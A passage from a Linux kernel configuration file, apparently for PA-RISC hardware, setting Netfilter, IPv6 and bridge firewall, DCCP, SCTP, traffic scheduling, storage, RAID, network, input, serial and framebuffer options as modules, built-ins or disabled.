CONFIG_NF_CONNTRACK_IPV4=m
CONFIG_NF_CONNTRACK_PROC_COMPAT=y
CONFIG_IP_NF_QUEUE=m
CONFIG_IP_NF_IPTABLES=m
CONFIG_IP_NF_MATCH_IPRANGE=m
CONFIG_IP_NF_MATCH_TOS=m
CONFIG_IP_NF_MATCH_RECENT=m
CONFIG_IP_NF_MATCH_ECN=m
CONFIG_IP_NF_MATCH_AH=m
CONFIG_IP_NF_MATCH_TTL=m
CONFIG_IP_NF_MATCH_OWNER=m
CONFIG_IP_NF_MATCH_ADDRTYPE=m
CONFIG_IP_NF_FILTER=m
CONFIG_IP_NF_TARGET_REJECT=m
CONFIG_IP_NF_TARGET_LOG=m
CONFIG_IP_NF_TARGET_ULOG=m
CONFIG_NF_NAT=m
CONFIG_NF_NAT_NEEDED=y
CONFIG_IP_NF_TARGET_MASQUERADE=m
CONFIG_IP_NF_TARGET_REDIRECT=m
CONFIG_IP_NF_TARGET_NETMAP=m
CONFIG_IP_NF_TARGET_SAME=m
CONFIG_NF_NAT_SNMP_BASIC=m
CONFIG_NF_NAT_PROTO_GRE=m
CONFIG_NF_NAT_FTP=m
CONFIG_NF_NAT_IRC=m
CONFIG_NF_NAT_TFTP=m
CONFIG_NF_NAT_AMANDA=m
CONFIG_NF_NAT_PPTP=m
CONFIG_NF_NAT_H323=m
CONFIG_NF_NAT_SIP=m
CONFIG_IP_NF_MANGLE=m
CONFIG_IP_NF_TARGET_TOS=m
CONFIG_IP_NF_TARGET_ECN=m
CONFIG_IP_NF_TARGET_TTL=m
CONFIG_IP_NF_TARGET_CLUSTERIP=m
CONFIG_IP_NF_RAW=m
CONFIG_IP_NF_ARPTABLES=m
CONFIG_IP_NF_ARPFILTER=m
CONFIG_IP_NF_ARP_MANGLE=m

#
# IPv6: Netfilter Configuration (EXPERIMENTAL)
#
CONFIG_NF_CONNTRACK_IPV6=m
CONFIG_IP6_NF_QUEUE=m
CONFIG_IP6_NF_IPTABLES=m
CONFIG_IP6_NF_MATCH_RT=m
CONFIG_IP6_NF_MATCH_OPTS=m
CONFIG_IP6_NF_MATCH_FRAG=m
CONFIG_IP6_NF_MATCH_HL=m
CONFIG_IP6_NF_MATCH_OWNER=m
CONFIG_IP6_NF_MATCH_IPV6HEADER=m
CONFIG_IP6_NF_MATCH_AH=m
CONFIG_IP6_NF_MATCH_MH=m
CONFIG_IP6_NF_MATCH_EUI64=m
CONFIG_IP6_NF_FILTER=m
CONFIG_IP6_NF_TARGET_LOG=m
CONFIG_IP6_NF_TARGET_REJECT=m
CONFIG_IP6_NF_MANGLE=m
CONFIG_IP6_NF_TARGET_HL=m
CONFIG_IP6_NF_RAW=m

#
# Bridge: Netfilter Configuration
#
CONFIG_BRIDGE_NF_EBTABLES=m
CONFIG_BRIDGE_EBT_BROUTE=m
CONFIG_BRIDGE_EBT_T_FILTER=m
CONFIG_BRIDGE_EBT_T_NAT=m
CONFIG_BRIDGE_EBT_802_3=m
CONFIG_BRIDGE_EBT_AMONG=m
CONFIG_BRIDGE_EBT_ARP=m
CONFIG_BRIDGE_EBT_IP=m
CONFIG_BRIDGE_EBT_LIMIT=m
CONFIG_BRIDGE_EBT_MARK=m
CONFIG_BRIDGE_EBT_PKTTYPE=m
CONFIG_BRIDGE_EBT_STP=m
CONFIG_BRIDGE_EBT_VLAN=m
CONFIG_BRIDGE_EBT_ARPREPLY=m
CONFIG_BRIDGE_EBT_DNAT=m
CONFIG_BRIDGE_EBT_MARK_T=m
CONFIG_BRIDGE_EBT_REDIRECT=m
CONFIG_BRIDGE_EBT_SNAT=m
CONFIG_BRIDGE_EBT_LOG=m
CONFIG_BRIDGE_EBT_ULOG=m
CONFIG_IP_DCCP=m
CONFIG_INET_DCCP_DIAG=m
CONFIG_IP_DCCP_ACKVEC=y

#
# DCCP CCIDs Configuration (EXPERIMENTAL)
#
CONFIG_IP_DCCP_CCID2=m
# CONFIG_IP_DCCP_CCID2_DEBUG is not set
CONFIG_IP_DCCP_CCID3=m
CONFIG_IP_DCCP_TFRC_LIB=m
# CONFIG_IP_DCCP_CCID3_DEBUG is not set
CONFIG_IP_DCCP_CCID3_RTO=100

#
# DCCP Kernel Hacking
#
# CONFIG_IP_DCCP_DEBUG is not set
CONFIG_IP_SCTP=m
# CONFIG_SCTP_DBG_MSG is not set
# CONFIG_SCTP_DBG_OBJCNT is not set
# CONFIG_SCTP_HMAC_NONE is not set
# CONFIG_SCTP_HMAC_SHA1 is not set
CONFIG_SCTP_HMAC_MD5=y
CONFIG_TIPC=m
CONFIG_TIPC_ADVANCED=y
CONFIG_TIPC_ZONES=3
CONFIG_TIPC_CLUSTERS=1
CONFIG_TIPC_NODES=255
CONFIG_TIPC_SLAVE_NODES=0
CONFIG_TIPC_PORTS=8191
CONFIG_TIPC_LOG=0
# CONFIG_TIPC_DEBUG is not set
# CONFIG_ATM is not set
CONFIG_BRIDGE=m
CONFIG_VLAN_8021Q=m
# CONFIG_DECNET is not set
CONFIG_LLC=m
# CONFIG_LLC2 is not set
# CONFIG_IPX is not set
# CONFIG_ATALK is not set
# CONFIG_X25 is not set
# CONFIG_LAPB is not set
# CONFIG_ECONET is not set
# CONFIG_WAN_ROUTER is not set
CONFIG_NET_SCHED=y

#
# Queueing/Scheduling
#
CONFIG_NET_SCH_CBQ=m
CONFIG_NET_SCH_HTB=m
CONFIG_NET_SCH_HFSC=m
CONFIG_NET_SCH_PRIO=m
CONFIG_NET_SCH_RR=m
CONFIG_NET_SCH_RED=m
CONFIG_NET_SCH_SFQ=m
CONFIG_NET_SCH_TEQL=m
CONFIG_NET_SCH_TBF=m
CONFIG_NET_SCH_GRED=m
CONFIG_NET_SCH_DSMARK=m
CONFIG_NET_SCH_NETEM=m
CONFIG_NET_SCH_INGRESS=m

#
# Classification
#
CONFIG_NET_CLS=y
CONFIG_NET_CLS_BASIC=m
CONFIG_NET_CLS_TCINDEX=m
CONFIG_NET_CLS_ROUTE4=m
CONFIG_NET_CLS_ROUTE=y
CONFIG_NET_CLS_FW=m
CONFIG_NET_CLS_U32=m
CONFIG_CLS_U32_PERF=y
CONFIG_CLS_U32_MARK=y
CONFIG_NET_CLS_RSVP=m
CONFIG_NET_CLS_RSVP6=m
CONFIG_NET_EMATCH=y
CONFIG_NET_EMATCH_STACK=32
CONFIG_NET_EMATCH_CMP=m
CONFIG_NET_EMATCH_NBYTE=m
CONFIG_NET_EMATCH_U32=m
CONFIG_NET_EMATCH_META=m
CONFIG_NET_EMATCH_TEXT=m
CONFIG_NET_CLS_ACT=y
CONFIG_NET_ACT_POLICE=m
CONFIG_NET_ACT_GACT=m
CONFIG_GACT_PROB=y
CONFIG_NET_ACT_MIRRED=m
CONFIG_NET_ACT_IPT=m
CONFIG_NET_ACT_NAT=m
CONFIG_NET_ACT_PEDIT=m
CONFIG_NET_ACT_SIMP=m
# CONFIG_NET_CLS_POLICE is not set
CONFIG_NET_CLS_IND=y
CONFIG_NET_SCH_FIFO=y

#
# Network testing
#
CONFIG_NET_PKTGEN=m
# CONFIG_HAMRADIO is not set
# CONFIG_IRDA is not set
# CONFIG_BT is not set
# CONFIG_AF_RXRPC is not set

#
# Wireless
#
# CONFIG_CFG80211 is not set
# CONFIG_WIRELESS_EXT is not set
# CONFIG_MAC80211 is not set
# CONFIG_IEEE80211 is not set
# CONFIG_RFKILL is not set
# CONFIG_NET_9P is not set

#
# Device Drivers
#

#
# Generic Driver Options
#
CONFIG_UEVENT_HELPER_PATH="/sbin/hotplug"
CONFIG_STANDALONE=y
CONFIG_PREVENT_FIRMWARE_BUILD=y
CONFIG_FW_LOADER=y
# CONFIG_DEBUG_DRIVER is not set
# CONFIG_DEBUG_DEVRES is not set
# CONFIG_SYS_HYPERVISOR is not set
CONFIG_CONNECTOR=m
# CONFIG_MTD is not set
CONFIG_PARPORT=m
CONFIG_PARPORT_PC=m
CONFIG_PARPORT_SERIAL=m
CONFIG_PARPORT_PC_FIFO=y
# CONFIG_PARPORT_PC_SUPERIO is not set
CONFIG_PARPORT_GSC=y
CONFIG_PARPORT_AX88796=m
CONFIG_PARPORT_1284=y
CONFIG_PARPORT_NOT_PC=y
# CONFIG_PNP is not set
CONFIG_BLK_DEV=y
# CONFIG_PARIDE is not set
# CONFIG_BLK_CPQ_DA is not set
# CONFIG_BLK_CPQ_CISS_DA is not set
# CONFIG_BLK_DEV_DAC960 is not set
# CONFIG_BLK_DEV_UMEM is not set
# CONFIG_BLK_DEV_COW_COMMON is not set
CONFIG_BLK_DEV_LOOP=m
CONFIG_BLK_DEV_CRYPTOLOOP=m
# CONFIG_BLK_DEV_NBD is not set
# CONFIG_BLK_DEV_SX8 is not set
# CONFIG_BLK_DEV_UB is not set
CONFIG_BLK_DEV_RAM=y
CONFIG_BLK_DEV_RAM_COUNT=16
CONFIG_BLK_DEV_RAM_SIZE=8192
CONFIG_BLK_DEV_RAM_BLOCKSIZE=1024
CONFIG_CDROM_PKTCDVD=m
CONFIG_CDROM_PKTCDVD_BUFFERS=8
# CONFIG_CDROM_PKTCDVD_WCACHE is not set
CONFIG_ATA_OVER_ETH=m
CONFIG_MISC_DEVICES=y
# CONFIG_PHANTOM is not set
# CONFIG_EEPROM_93CX6 is not set
CONFIG_SGI_IOC4=m
CONFIG_TIFM_CORE=m
CONFIG_TIFM_7XX1=m
CONFIG_IDE=m
CONFIG_BLK_DEV_IDE=m

#
# Please see Documentation/ide.txt for help/info on IDE drives
#
# CONFIG_BLK_DEV_IDE_SATA is not set
CONFIG_BLK_DEV_IDEDISK=m
# CONFIG_IDEDISK_MULTI_MODE is not set
CONFIG_BLK_DEV_IDECD=m
# CONFIG_BLK_DEV_IDETAPE is not set
# CONFIG_BLK_DEV_IDEFLOPPY is not set
# CONFIG_BLK_DEV_IDESCSI is not set
# CONFIG_IDE_TASK_IOCTL is not set
CONFIG_IDE_PROC_FS=y

#
# IDE chipset support/bugfixes
#
CONFIG_IDE_GENERIC=m
# CONFIG_BLK_DEV_PLATFORM is not set

#
# PCI IDE chipsets support
#
CONFIG_BLK_DEV_IDEPCI=y
CONFIG_IDEPCI_SHARE_IRQ=y
# CONFIG_IDEPCI_PCIBUS_ORDER is not set
# CONFIG_BLK_DEV_GENERIC is not set
# CONFIG_BLK_DEV_OPTI621 is not set
CONFIG_BLK_DEV_IDEDMA_PCI=y
# CONFIG_BLK_DEV_AEC62XX is not set
# CONFIG_BLK_DEV_ALI15X3 is not set
# CONFIG_BLK_DEV_AMD74XX is not set
# CONFIG_BLK_DEV_CMD64X is not set
# CONFIG_BLK_DEV_TRIFLEX is not set
# CONFIG_BLK_DEV_CY82C693 is not set
# CONFIG_BLK_DEV_CS5520 is not set
# CONFIG_BLK_DEV_CS5530 is not set
# CONFIG_BLK_DEV_HPT34X is not set
# CONFIG_BLK_DEV_HPT366 is not set
# CONFIG_BLK_DEV_JMICRON is not set
# CONFIG_BLK_DEV_SC1200 is not set
# CONFIG_BLK_DEV_PIIX is not set
# CONFIG_BLK_DEV_IT8213 is not set
# CONFIG_BLK_DEV_IT821X is not set
CONFIG_BLK_DEV_NS87415=m
# CONFIG_BLK_DEV_PDC202XX_OLD is not set
# CONFIG_BLK_DEV_PDC202XX_NEW is not set
# CONFIG_BLK_DEV_SVWKS is not set
# CONFIG_BLK_DEV_SIIMAGE is not set
# CONFIG_BLK_DEV_SLC90E66 is not set
# CONFIG_BLK_DEV_TRM290 is not set
# CONFIG_BLK_DEV_VIA82CXXX is not set
# CONFIG_BLK_DEV_TC86C001 is not set
# CONFIG_IDE_ARM is not set

#
# Other IDE chipsets support
#

#
# Note: most of these also require special kernel boot parameters
#
# CONFIG_BLK_DEV_4DRIVES is not set
# CONFIG_BLK_DEV_ALI14XX is not set
# CONFIG_BLK_DEV_DTC2278 is not set
# CONFIG_BLK_DEV_HT6560B is not set
# CONFIG_BLK_DEV_QD65XX is not set
# CONFIG_BLK_DEV_UMC8672 is not set
CONFIG_BLK_DEV_IDEDMA=y
CONFIG_IDE_ARCH_OBSOLETE_INIT=y
# CONFIG_BLK_DEV_HD is not set

#
# SCSI device support
#
CONFIG_RAID_ATTRS=m
CONFIG_SCSI=m
CONFIG_SCSI_DMA=y
CONFIG_SCSI_TGT=m
CONFIG_SCSI_NETLINK=y
CONFIG_SCSI_PROC_FS=y

#
# SCSI support type (disk, tape, CD-ROM)
#
CONFIG_BLK_DEV_SD=m
# CONFIG_CHR_DEV_ST is not set
# CONFIG_CHR_DEV_OSST is not set
CONFIG_BLK_DEV_SR=m
CONFIG_BLK_DEV_SR_VENDOR=y
CONFIG_CHR_DEV_SG=m
CONFIG_CHR_DEV_SCH=m

#
# Some SCSI devices (e.g. CD jukebox) support multiple LUNs
#
CONFIG_SCSI_MULTI_LUN=y
CONFIG_SCSI_CONSTANTS=y
CONFIG_SCSI_LOGGING=y
CONFIG_SCSI_SCAN_ASYNC=y
CONFIG_SCSI_WAIT_SCAN=m

#
# SCSI Transports
#
CONFIG_SCSI_SPI_ATTRS=m
CONFIG_SCSI_FC_ATTRS=m
# CONFIG_SCSI_FC_TGT_ATTRS is not set
CONFIG_SCSI_ISCSI_ATTRS=m
CONFIG_SCSI_SAS_ATTRS=m
CONFIG_SCSI_SAS_LIBSAS=y
# CONFIG_SCSI_SAS_LIBSAS_DEBUG is not set
CONFIG_SCSI_SRP_ATTRS=m
# CONFIG_SCSI_SRP_TGT_ATTRS is not set
CONFIG_SCSI_LOWLEVEL=y
# CONFIG_ISCSI_TCP is not set
# CONFIG_BLK_DEV_3W_XXXX_RAID is not set
# CONFIG_SCSI_3W_9XXX is not set
# CONFIG_SCSI_ACARD is not set
# CONFIG_SCSI_AHA1740 is not set
# CONFIG_SCSI_AACRAID is not set
# CONFIG_SCSI_AIC7XXX is not set
# CONFIG_SCSI_AIC7XXX_OLD is not set
# CONFIG_SCSI_AIC79XX is not set
CONFIG_SCSI_AIC94XX=y
# CONFIG_AIC94XX_DEBUG is not set
# CONFIG_SCSI_ADVANSYS is not set
# CONFIG_SCSI_IN2000 is not set
# CONFIG_SCSI_ARCMSR is not set
# CONFIG_MEGARAID_NEWGEN is not set
# CONFIG_MEGARAID_LEGACY is not set
# CONFIG_MEGARAID_SAS is not set
# CONFIG_SCSI_HPTIOP is not set
# CONFIG_SCSI_DMX3191D is not set
# CONFIG_SCSI_DTC3280 is not set
# CONFIG_SCSI_FUTURE_DOMAIN is not set
# CONFIG_SCSI_GENERIC_NCR5380 is not set
# CONFIG_SCSI_GENERIC_NCR5380_MMIO is not set
# CONFIG_SCSI_IPS is not set
# CONFIG_SCSI_INITIO is not set
# CONFIG_SCSI_INIA100 is not set
# CONFIG_SCSI_PPA is not set
# CONFIG_SCSI_IMM is not set
# CONFIG_SCSI_NCR53C406A is not set
# CONFIG_SCSI_LASI700 is not set
# CONFIG_SCSI_STEX is not set
CONFIG_SCSI_SYM53C8XX_2=m
CONFIG_SCSI_SYM53C8XX_DMA_ADDRESSING_MODE=1
CONFIG_SCSI_SYM53C8XX_DEFAULT_TAGS=16
CONFIG_SCSI_SYM53C8XX_MAX_TAGS=64
CONFIG_SCSI_SYM53C8XX_MMIO=y
# CONFIG_SCSI_ZALON is not set
# CONFIG_SCSI_PAS16 is not set
# CONFIG_SCSI_PSI240I is not set
# CONFIG_SCSI_QLOGIC_FAS is not set
# CONFIG_SCSI_QLOGIC_1280 is not set
# CONFIG_SCSI_QLA_FC is not set
# CONFIG_SCSI_QLA_ISCSI is not set
# CONFIG_SCSI_LPFC is not set
# CONFIG_SCSI_SIM710 is not set
# CONFIG_SCSI_SYM53C416 is not set
# CONFIG_SCSI_DC395x is not set
# CONFIG_SCSI_DC390T is not set
# CONFIG_SCSI_T128 is not set
# CONFIG_SCSI_DEBUG is not set
CONFIG_SCSI_SRP=m
# CONFIG_ATA is not set
CONFIG_MD=y
CONFIG_BLK_DEV_MD=m
CONFIG_MD_LINEAR=m
CONFIG_MD_RAID0=m
CONFIG_MD_RAID1=m
CONFIG_MD_RAID10=m
CONFIG_MD_RAID456=m
CONFIG_MD_RAID5_RESHAPE=y
CONFIG_MD_MULTIPATH=m
CONFIG_MD_FAULTY=m
CONFIG_BLK_DEV_DM=m
# CONFIG_DM_DEBUG is not set
CONFIG_DM_CRYPT=m
CONFIG_DM_SNAPSHOT=m
CONFIG_DM_MIRROR=m
CONFIG_DM_ZERO=m
CONFIG_DM_MULTIPATH=m
CONFIG_DM_MULTIPATH_EMC=m
# CONFIG_DM_MULTIPATH_RDAC is not set
# CONFIG_DM_MULTIPATH_HP is not set
CONFIG_DM_DELAY=m
# CONFIG_DM_UEVENT is not set
# CONFIG_FUSION is not set

#
# IEEE 1394 (FireWire) support
#
# CONFIG_FIREWIRE is not set
# CONFIG_IEEE1394 is not set
CONFIG_I2O=m
CONFIG_I2O_LCT_NOTIFY_ON_CHANGES=y
CONFIG_I2O_EXT_ADAPTEC=y
CONFIG_I2O_EXT_ADAPTEC_DMA64=y
CONFIG_I2O_CONFIG=m
CONFIG_I2O_CONFIG_OLD_IOCTL=y
CONFIG_I2O_BUS=m
CONFIG_I2O_BLOCK=m
CONFIG_I2O_SCSI=m
CONFIG_I2O_PROC=m
CONFIG_NETDEVICES=y
# CONFIG_NETDEVICES_MULTIQUEUE is not set
CONFIG_IFB=m
CONFIG_DUMMY=m
# CONFIG_BONDING is not set
# CONFIG_MACVLAN is not set
# CONFIG_EQUALIZER is not set
CONFIG_TUN=m
# CONFIG_VETH is not set
# CONFIG_IP1000 is not set
# CONFIG_ARCNET is not set
CONFIG_PHYLIB=m

#
# MII PHY device drivers
#
CONFIG_MARVELL_PHY=m
CONFIG_DAVICOM_PHY=m
CONFIG_QSEMI_PHY=m
CONFIG_LXT_PHY=m
CONFIG_CICADA_PHY=m
CONFIG_VITESSE_PHY=m
CONFIG_SMSC_PHY=m
CONFIG_BROADCOM_PHY=m
# CONFIG_ICPLUS_PHY is not set
CONFIG_FIXED_PHY=m
# CONFIG_FIXED_MII_10_FDX is not set
# CONFIG_FIXED_MII_100_FDX is not set
# CONFIG_FIXED_MII_1000_FDX is not set
CONFIG_FIXED_MII_AMNT=1
# CONFIG_MDIO_BITBANG is not set
CONFIG_NET_ETHERNET=y
CONFIG_MII=m
# CONFIG_LASI_82596 is not set
# CONFIG_HAPPYMEAL is not set
# CONFIG_SUNGEM is not set
# CONFIG_CASSINI is not set
# CONFIG_NET_VENDOR_3COM is not set
# CONFIG_NET_VENDOR_SMC is not set
# CONFIG_NET_VENDOR_RACAL is not set
CONFIG_NET_TULIP=y
# CONFIG_DE2104X is not set
CONFIG_TULIP=m
# CONFIG_TULIP_MWI is not set
CONFIG_TULIP_MMIO=y
CONFIG_TULIP_NAPI=y
CONFIG_TULIP_NAPI_HW_MITIGATION=y
# CONFIG_DE4X5 is not set
# CONFIG_WINBOND_840 is not set
# CONFIG_DM9102 is not set
# CONFIG_ULI526X is not set
# CONFIG_AT1700 is not set
# CONFIG_DEPCA is not set
# CONFIG_HP100 is not set
# CONFIG_NET_ISA is not set
# CONFIG_IBM_NEW_EMAC_ZMII is not set
# CONFIG_IBM_NEW_EMAC_RGMII is not set
# CONFIG_IBM_NEW_EMAC_TAH is not set
# CONFIG_IBM_NEW_EMAC_EMAC4 is not set
# CONFIG_NET_PCI is not set
# CONFIG_B44 is not set
# CONFIG_NET_POCKET is not set
# CONFIG_NETDEV_1000 is not set
# CONFIG_NETDEV_10000 is not set
# CONFIG_TR is not set

#
# Wireless LAN
#
# CONFIG_WLAN_PRE80211 is not set
# CONFIG_WLAN_80211 is not set

#
# USB Network Adapters
#
# CONFIG_USB_CATC is not set
# CONFIG_USB_KAWETH is not set
# CONFIG_USB_PEGASUS is not set
# CONFIG_USB_RTL8150 is not set
# CONFIG_USB_USBNET is not set
# CONFIG_WAN is not set
# CONFIG_FDDI is not set
# CONFIG_HIPPI is not set
CONFIG_PLIP=m
CONFIG_PPP=m
CONFIG_PPP_MULTILINK=y
CONFIG_PPP_FILTER=y
CONFIG_PPP_ASYNC=m
CONFIG_PPP_SYNC_TTY=m
CONFIG_PPP_DEFLATE=m
CONFIG_PPP_BSDCOMP=m
CONFIG_PPP_MPPE=m
CONFIG_PPPOE=m
# CONFIG_PPPOL2TP is not set
CONFIG_SLIP=m
CONFIG_SLIP_COMPRESSED=y
CONFIG_SLHC=m
CONFIG_SLIP_SMART=y
# CONFIG_SLIP_MODE_SLIP6 is not set
# CONFIG_NET_FC is not set
CONFIG_SHAPER=m
CONFIG_NETCONSOLE=m
# CONFIG_NETCONSOLE_DYNAMIC is not set
CONFIG_NETPOLL=y
# CONFIG_NETPOLL_TRAP is not set
CONFIG_NET_POLL_CONTROLLER=y
# CONFIG_ISDN is not set
# CONFIG_PHONE is not set

#
# Input device support
#
CONFIG_INPUT=y
CONFIG_INPUT_FF_MEMLESS=m
# CONFIG_INPUT_POLLDEV is not set

#
# Userland interfaces
#
CONFIG_INPUT_MOUSEDEV=y
CONFIG_INPUT_MOUSEDEV_PSAUX=y
CONFIG_INPUT_MOUSEDEV_SCREEN_X=1024
CONFIG_INPUT_MOUSEDEV_SCREEN_Y=768
# CONFIG_INPUT_JOYDEV is not set
CONFIG_INPUT_EVDEV=m
# CONFIG_INPUT_EVBUG is not set

#
# Input Device Drivers
#
CONFIG_INPUT_KEYBOARD=y
CONFIG_KEYBOARD_ATKBD=y
CONFIG_KEYBOARD_ATKBD_HP_KEYCODES=y
# CONFIG_KEYBOARD_ATKBD_RDI_KEYCODES is not set
# CONFIG_KEYBOARD_SUNKBD is not set
# CONFIG_KEYBOARD_LKKBD is not set
# CONFIG_KEYBOARD_XTKBD is not set
# CONFIG_KEYBOARD_NEWTON is not set
CONFIG_KEYBOARD_STOWAWAY=m
CONFIG_KEYBOARD_HIL_OLD=m
CONFIG_KEYBOARD_HIL=m
CONFIG_INPUT_MOUSE=y
CONFIG_MOUSE_PS2=m
CONFIG_MOUSE_PS2_ALPS=y
CONFIG_MOUSE_PS2_LOGIPS2PP=y
CONFIG_MOUSE_PS2_SYNAPTICS=y
CONFIG_MOUSE_PS2_LIFEBOOK=y
CONFIG_MOUSE_PS2_TRACKPOINT=y
# CONFIG_MOUSE_PS2_TOUCHKIT is not set
# CONFIG_MOUSE_SERIAL is not set
# CONFIG_MOUSE_APPLETOUCH is not set
# CONFIG_MOUSE_INPORT is not set
# CONFIG_MOUSE_LOGIBM is not set
# CONFIG_MOUSE_PC110PAD is not set
# CONFIG_MOUSE_VSXXXAA is not set
CONFIG_MOUSE_HIL=m
# CONFIG_INPUT_JOYSTICK is not set
# CONFIG_INPUT_TABLET is not set
# CONFIG_INPUT_TOUCHSCREEN is not set
CONFIG_INPUT_MISC=y
CONFIG_INPUT_ATI_REMOTE=m
CONFIG_INPUT_ATI_REMOTE2=m
CONFIG_INPUT_KEYSPAN_REMOTE=m
CONFIG_INPUT_POWERMATE=m
CONFIG_INPUT_YEALINK=m
# CONFIG_INPUT_UINPUT is not set
CONFIG_HP_SDC_RTC=m

#
# Hardware I/O ports
#
CONFIG_SERIO=y
# CONFIG_SERIO_SERPORT is not set
# CONFIG_SERIO_PARKBD is not set
CONFIG_SERIO_GSCPS2=y
CONFIG_HP_SDC=m
CONFIG_HIL_MLC=m
# CONFIG_SERIO_PCIPS2 is not set
CONFIG_SERIO_LIBPS2=y
CONFIG_SERIO_RAW=m
# CONFIG_GAMEPORT is not set

#
# Character devices
#
CONFIG_VT=y
CONFIG_VT_CONSOLE=y
CONFIG_HW_CONSOLE=y
# CONFIG_VT_HW_CONSOLE_BINDING is not set
# CONFIG_SERIAL_NONSTANDARD is not set

#
# Serial drivers
#
CONFIG_SERIAL_8250=y
CONFIG_SERIAL_8250_CONSOLE=y
CONFIG_SERIAL_8250_GSC=y
CONFIG_SERIAL_8250_PCI=y
CONFIG_SERIAL_8250_NR_UARTS=16
CONFIG_SERIAL_8250_RUNTIME_UARTS=4
CONFIG_SERIAL_8250_EXTENDED=y
CONFIG_SERIAL_8250_MANY_PORTS=y
CONFIG_SERIAL_8250_FOURPORT=m
CONFIG_SERIAL_8250_ACCENT=m
CONFIG_SERIAL_8250_BOCA=m
# CONFIG_SERIAL_8250_EXAR_ST16C554 is not set
CONFIG_SERIAL_8250_HUB6=m
CONFIG_SERIAL_8250_SHARE_IRQ=y
# CONFIG_SERIAL_8250_DETECT_IRQ is not set
# CONFIG_SERIAL_8250_RSA is not set

#
# Non-8250 serial port support
#
CONFIG_SERIAL_MUX=y
CONFIG_SERIAL_MUX_CONSOLE=y
CONFIG_SERIAL_CORE=y
CONFIG_SERIAL_CORE_CONSOLE=y
CONFIG_SERIAL_JSM=m
CONFIG_UNIX98_PTYS=y
# CONFIG_LEGACY_PTYS is not set
CONFIG_PRINTER=m
# CONFIG_LP_CONSOLE is not set
# CONFIG_PPDEV is not set
# CONFIG_TIPAR is not set
# CONFIG_IPMI_HANDLER is not set
CONFIG_HW_RANDOM=y
CONFIG_GEN_RTC=y
# CONFIG_GEN_RTC_X is not set
# CONFIG_DTLK is not set
# CONFIG_R3964 is not set
# CONFIG_APPLICOM is not set
# CONFIG_RAW_DRIVER is not set
# CONFIG_TCG_TPM is not set
CONFIG_DEVPORT=y
# CONFIG_I2C is not set

#
# SPI support
#
CONFIG_SPI=y
# CONFIG_SPI_DEBUG is not set
CONFIG_SPI_MASTER=y

#
# SPI Master Controller Drivers
#
CONFIG_SPI_BITBANG=m
CONFIG_SPI_BUTTERFLY=m
# CONFIG_SPI_LM70_LLP is not set

#
# SPI Protocol Masters
#
CONFIG_SPI_AT25=m
# CONFIG_SPI_SPIDEV is not set
# CONFIG_SPI_TLE62X0 is not set
# CONFIG_W1 is not set
# CONFIG_POWER_SUPPLY is not set
CONFIG_HWMON=y
CONFIG_HWMON_VID=m
# CONFIG_SENSORS_I5K_AMB is not set
# CONFIG_SENSORS_F71805F is not set
# CONFIG_SENSORS_F71882FG is not set
# CONFIG_SENSORS_IT87 is not set
CONFIG_SENSORS_LM70=m
# CONFIG_SENSORS_PC87360 is not set
CONFIG_SENSORS_PC87427=m
# CONFIG_SENSORS_SIS5595 is not set
# CONFIG_SENSORS_SMSC47M1 is not set
# CONFIG_SENSORS_SMSC47B397 is not set
# CONFIG_SENSORS_VIA686A is not set
CONFIG_SENSORS_VT1211=m
# CONFIG_SENSORS_VT8231 is not set
# CONFIG_SENSORS_W83627HF is not set
# CONFIG_SENSORS_W83627EHF is not set
# CONFIG_HWMON_DEBUG_CHIP is not set
# CONFIG_WATCHDOG is not set

#
# Sonics Silicon Backplane
#
CONFIG_SSB_POSSIBLE=y
CONFIG_SSB=m
CONFIG_SSB_PCIHOST_POSSIBLE=y
CONFIG_SSB_PCIHOST=y
# CONFIG_SSB_DEBUG is not set
CONFIG_SSB_DRIVER_PCICORE_POSSIBLE=y
CONFIG_SSB_DRIVER_PCICORE=y

#
# Multifunction device drivers
#
# CONFIG_MFD_SM501 is not set

#
# Multimedia devices
#
# CONFIG_VIDEO_DEV is not set
# CONFIG_DVB_CORE is not set
# CONFIG_DAB is not set

#
# Graphics support
#
# CONFIG_AGP is not set
# CONFIG_DRM is not set
# CONFIG_VGASTATE is not set
# CONFIG_VIDEO_OUTPUT_CONTROL is not set
CONFIG_FB=y
CONFIG_FIRMWARE_EDID=y
# CONFIG_FB_DDC is not set
CONFIG_FB_CFB_FILLRECT=y
CONFIG_FB_CFB_COPYAREA=y
CONFIG_FB_CFB_IMAGEBLIT=y
# CONFIG_FB_CFB_REV_PIXELS_IN_BYTE is not set
# CONFIG_FB_SYS_FILLRECT is not set
# CONFIG_FB_SYS_COPYAREA is not set
# CONFIG_FB_SYS_IMAGEBLIT is not set
# CONFIG_FB_SYS_FOPS is not set
CONFIG_FB_DEFERRED_IO=y
# CONFIG_FB_SVGALIB is not set
# CONFIG_FB_MACMODES is not set
# CONFIG_FB_BACKLIGHT is not set
CONFIG_FB_MODE_HELPERS=y
# CONFIG_FB_TILEBLITTING is not set

#
# Frame buffer hardware drivers
#
# CONFIG_FB_CIRRUS is not set
# CONFIG_FB_PM2 is not set
# CONFIG_FB_CYBER2000 is not set
# CONFIG_FB_ASILIANT is not set
# CONFIG_FB_IMSTT is not set
CONFIG_FB_STI=y
# CONFIG_FB_UVESA is not set
# CONFIG_FB_S1D13XXX is not set
# CONFIG_FB_NVIDIA is not set
# CONFIG_FB_RIVA is not set
# CONFIG_FB_MATROX is not set
# CONFIG_FB_RADEON is not set
# CONFIG_FB_ATY128 is not set
# CONFIG_FB_ATY is not set
# CONFIG_FB_S3 is not set
# CONFIG_FB_SAVAGE is not set
# CONFIG_FB_SIS is not set
# CONFIG_FB_NEOMAGIC is not set
# CONFIG_FB_KYRO is not set
# CONFIG_FB_3DFX is not set
# CONFIG_FB_VOODOO1 is not set
# CONFIG_FB_VT8623 is not set
# CONFIG_FB_TRIDENT is not set
# CONFIG_FB_ARK is not set
# CONFIG_FB_PM3 is not set
# CONFIG_FB_VIRTUAL is not set
CONFIG_BACKLIGHT_LCD_SUPPORT=y
# CONFIG_LCD_CLASS_DEVICE is not set
CONFIG_BACKLIGHT_CLASS_DEVICE=m
# CONFIG_BACKLIGHT_CORGI is not set

#
# Display device support
#
CONFIG_DISPLAY_SUPPORT=m

#
# Display hardware drivers
#

#
# Console display driver support
#
CONFIG_DUMMY_CONSOLE=y
CONFIG_DUMMY_CONSOLE_COLUMNS=160
CONFIG_DUMMY_CONSOLE_ROWS=64
CONFIG_FRAMEBUFFER_CONSOLE=y
# CONFIG_FRAMEBUFFER_CONSOLE_DETECT_PRIMARY is not set
CONFIG_FRAMEBUFFER_CONSOLE_ROTATION=y
CONFIG_STI_CONSOLE=y
# CONFIG_FONTS is not set
CONFIG_FONT_8x8=y
